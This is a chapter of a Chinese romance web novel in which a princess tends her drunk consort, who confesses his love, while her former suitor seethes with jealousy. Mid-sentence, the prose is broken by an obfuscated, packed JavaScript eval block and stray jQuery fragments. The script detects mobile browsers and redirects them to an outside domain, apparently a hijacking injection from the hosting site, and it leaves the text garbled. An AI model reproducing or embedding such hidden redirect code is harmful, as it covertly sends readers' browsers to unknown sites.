44. 醉酒

黎元仪挥散脑中无限遐思,上前几步,两人并肩前行。


“方才山长单独与我夸了你好些话,你下回探望他时,可不要忘记谢他。”


詹信闻言怔愣一瞬,原来是为着这个,怪不得方才山长一声不吭就先行离开,还捎带让殿下相送......


他心中一热,看向黎元仪的眼中透出些踌躇的羞意。


他虽没出声,黎元仪却明白他的意思。


“我知道,不是你让人夸的...”黎元仪直直对上他的视线,“是你本来就很好。”


眼看詹信的脸瞬间涨成猪肝色,黎元仪再憋不住笑意,当即决定立刻停止故意逗人脸红的揶揄。


“府里备了宴,等会我就不去了,你好好陪着军中的弟兄们就是。”


今日起得太早,眼下忙过了冠礼这些事,黎元仪自觉脑中混沌,上下眼皮即将打架,还是早些回内室眯个囫囵觉为好。


两人在长廊上作别,黎元仪回到内院屋内,脱了鞋便躺倒在床上,睡得不省人事,连发髻都是雨莲在她熟睡后替她松开的。


这一觉绵长,待她再睁开眼,已是酉时月中天。


黎元仪起身踩进趿履,估摸着此刻宴席应该已经散了。外间静悄悄的,她试着唤了声“雨莲”却没有回应,索性径直走出内室。


推开门,月华如水,院中石桌前,那支肘撑额、抬头望月的人,不是詹信又能是谁?


应是听见身后的动静,他慢慢转首望了过来,眸中还氤氲着不明的雾气,却在看清来者的瞬间微睁双眼,眸光一亮。


黎元仪看得分明,那团雾气倏然间就散去了。


“殿下来了......”


詹信说着,一边摇摇晃晃地起身。他声音低哑,舌根仿佛没捋直般尾音发颤,失了平日里的板正,却多了几分难得显露的少年意气。


黎元仪一瞧便知,詹信是醉了。她紧了几步上前,忙将人又按回了石凳上。


詹信重新坐好,怔愣地看了她片刻,黎元仪正有些不明所以他呆呆看着自己做甚,却见他肩膀微耸,带着几分痴气扬起嘴角,连带着眼角眉梢也一齐弯了弧度。


黎元仪心头一跳,詹信素来克制,这般敞开的笑她还是第一次见。


她眼眸微动,下意识便想逃开视线,缓上一缓,视线上移,却依旧还是落在了眼前人身上。


发冠已被取下,就连束得一丝不苟的发髻也几近松散,几缕弯曲的发垂落在他额前,衬得此刻沐浴在月光下的詹信不仅俊美无俦,眉目间还透出一股飒爽倜傥的英气。


这般情态,倒是教黎元仪想起当初在赏花宴上第一次见詹信时的场面。


那时,他将禁军首领连同冰鉴一道掀翻在地,水沿着地砖上的暗纹蔓延开去,他分明是跪着的,迎着众人居高临下的审视,可他的背脊却挺得那么直那么硬......


现在想来,就是那一刻,她望着那张同样被松散垂落的发遮住了额角的不屈面孔,就此决定,是这个人了。她选了就选到底,不改了。


或许,她是被他身上一种莫名的生气给感染,不愿看他摧折了傲骨...她愿意像他一样挺直了背,咬紧了牙,就是不屈服。谁让她不好过,她就掀翻一切,休想折磨她!


黎元仪回过神来,詹信还在盯着她看,她抿唇,故意板着脸正儿八经地问:“今日生辰你可还尽兴?”


詹信醉得舌头打结,磕磕绊绊地道:“尽兴...臣很是尽兴。”


说完他还眨了眨眼,额发搭在他浓密的睫毛上,在月光下投出一片阴影。


黎元仪忍不住伸手替他拨开碎发。


詹信忽然又笑起来,低头侧过去些,也不知是有意无意的,脸颊贴上她的掌心,轻轻蹭了蹭。


他的脸颊滚烫,贴上掌心的瞬间,黎元仪忽然觉得有些口干舌燥。


她轻咳一声,想着收回手,未料掌心一动,詹信的脸颊也跟着动了。黎元仪怔愣一瞬,不信邪地又试了试,结果还是一样......


先前半点没觉出来,原来,詹信醉了酒后竟是个黏人的。


黎元仪往四下看去,好在现下院中只他们俩人在,并没有旁人瞧见这一幕。


她莫名松了口气,眼见脸颊贴着她掌心的詹信此时已迷迷糊糊上下眼皮打起架,她忍不住笑出声,生出了再逗一逗眼前人的心思。


“驸马虽说已然尽兴,可瞧着却必定还有心愿未了...”黎元仪故意凑近了些,压低了声音,“不如就趁现在都说了罢,还是那句话,便是驸马说要天上的星星月亮,本宫都会给摘下来......”


说到这里,她作势抬手向皎皎明月指去,詹信闻言努力睁开双眼,下一瞬,却握住了她的指尖。


“臣不要什么星星月亮...”他将她的手拉了回来,没有松开,而是慢慢地按在了他的心口处,“都不要......”


透过詹信胸前布料传来的心跳震动是有力而急促的,一下又一下,震得黎元仪的掌心迅速烫了起来,甚至有了又酥又麻的错觉。


她想抽回手,却被詹信牢牢按在胸前。


“詹信,快松开...”黎元仪的声音有些发颤,“你醉了......”


“臣没醉...臣只是还没说完......”


詹信直直望进她眼里,喃喃道:“臣想要的,是殿下的一颗心。”


他的声音越来越低,最后一个字几乎化作一声叹息,却如惊雷般在黎元仪耳边炸响。


她僵在原地,连呼吸也随之忘却。掌心下的心跳却愈发剧烈,提醒着她,这一切都是真实存在的。


对着詹信炽热的眼神,她脑中一片空白,哑口无言,根本不知该如何回应。


是装作根本没有听到,还是......


未及黎元仪拿定主意,詹信已抵挡不住醉意,缓缓垂下眼帘,阖眼昏睡过去。


“詹信?”黎元仪试探着唤了他一声,没有回应。


听着詹信绵长而均匀的呼吸声,黎元仪方才还紧绷的神经终于慢慢缓了下来。


她望着于睡梦中依旧固执握着她的指尖、不肯松开的那只手,咬唇轻轻挣了挣,却是没能挣脱,反引得熟睡中的詹信蹙眉,无意识间将她的手握得更紧了。


黎元仪叹了口气,索性由着他,维持这个别扭的姿势。


她四下张望了一圈,心里咕哝着想,雨莲也不知去了哪里,竟是半天不见踪影,想找她搭把手把人扶回去都不成......


百无聊赖下,她抬头看看月亮,又垂眸细细打量起詹信熟睡的侧颜。


月光作祟,他英气十足、深眉高鼻的凌厉轮廓此时显得格外柔和。


黎元仪的目光从詹信高隆的眉弓滑到


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15580902|167620||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


棱角分明的下颌,最后不易察觉地落在了他形状好看的唇瓣上。


盯了片刻,她终究是没忍住,伸指自他嘴唇中间处轻轻划过。


“傻瓜......”


*


王氏府邸。


王冕站于书桌前正在练字,他近来心神不宁,睡前尤其思虑深重,为了安眠,近来临睡前他都会摹字静心。


门自外间扣响,他头也未抬一下,只道了声“进!”


进来的是小厮阿淅,王冕瞥了他一眼,见他额头上还沁着亮晶晶的汗,心知他是方才从外头赶回府的,便也不绕弯子,直接道:“都打听到了什么?”


那小厮阿淅是见过山上那日王冕狂态的,心知接下来要禀明的事自家公子未必听得乐意,话到嘴边生了踌躇之意,却又不得不如实说,浑身上下脚最诚实,下意识地先往后挪了几步。


“回公子,公主府今日热闹非凡,小的打探了一番,原今日是驸马二十岁生辰,长公主殿下请了书院的山长入府,为驸马主持了冠礼。”


闻言王冕一言未发,阿淅悄悄抬眸看去,自家公子手中笔似游龙,未有停顿,书房内虽是烛火通明,他的脸却隐在晦暗中,瞧不真切神情变幻。


“知道了,出去。”王冕发话了,语调无悲无喜、无波无澜。


阿淅应声退出门外。


隔着重新紧闭的门,他方松了口气,预备抬脚回房歇着去。背后却传来一道重击之下的破裂声。


阿淅吓得立刻噤声,苦着脸垂手退到门旁,屏息再听,书房内却再没了别的动静。


王冕站在书桌前,看着摔推下地的砚台流墨一点点沾污方才写下的那纸大字——“忍”。


那一下他使了全力,却尤不能纾解他胸中郁结的怨气。


王冕转身霍地一下推开窗,往事如秋风迎面袭来,教他无力躲闪,更添烦躁。


去岁时,他也年满二十行了冠礼......


冠礼前夕,黎元仪派人来询,问他是否可以前来观礼庆生...


当时的他也是在这间书房里,闻言头都未抬一下便拒了她的传话。


那日他是怎么说的,其实他已记不清了。或许,只四个字“于礼不合”便草草打发了。


如今想来...若是当时他没有拒绝...若是,他从不曾拒绝她一次......


那个会目睹他加冠的殿下,那个会在他身边见证所有重要时刻的殿下...会不会就不再那么轻易地放弃了他?


会不会,在那日赏花宴上择驸时,不再意气用事地转而挑中他身侧那个卑贱的洗砚奴?


想到这里,王冕一把关上窗户,力道大得让窗棂都震了震。


如果她选了詹信是想看他后悔,那么她已经成功了...


他是悔了,悔得每每想起都胸口疼!


她的目的达到,现在,她可不可以回到他的身边了......


王冕撑着桌案一角,苦笑一声。


如今,他竟是看不懂黎元仪了。


她记挂着柳曾柔的病,一直往柳家送药材,那是不是说明她其实也还没有放下他?


但如果她是没有放下他,为什么又偏偏对詹信那么好?


好到让他每每得知都心口抽痛,悔不当初,好到让他心生嫉恨,恨不得这世上再无詹信......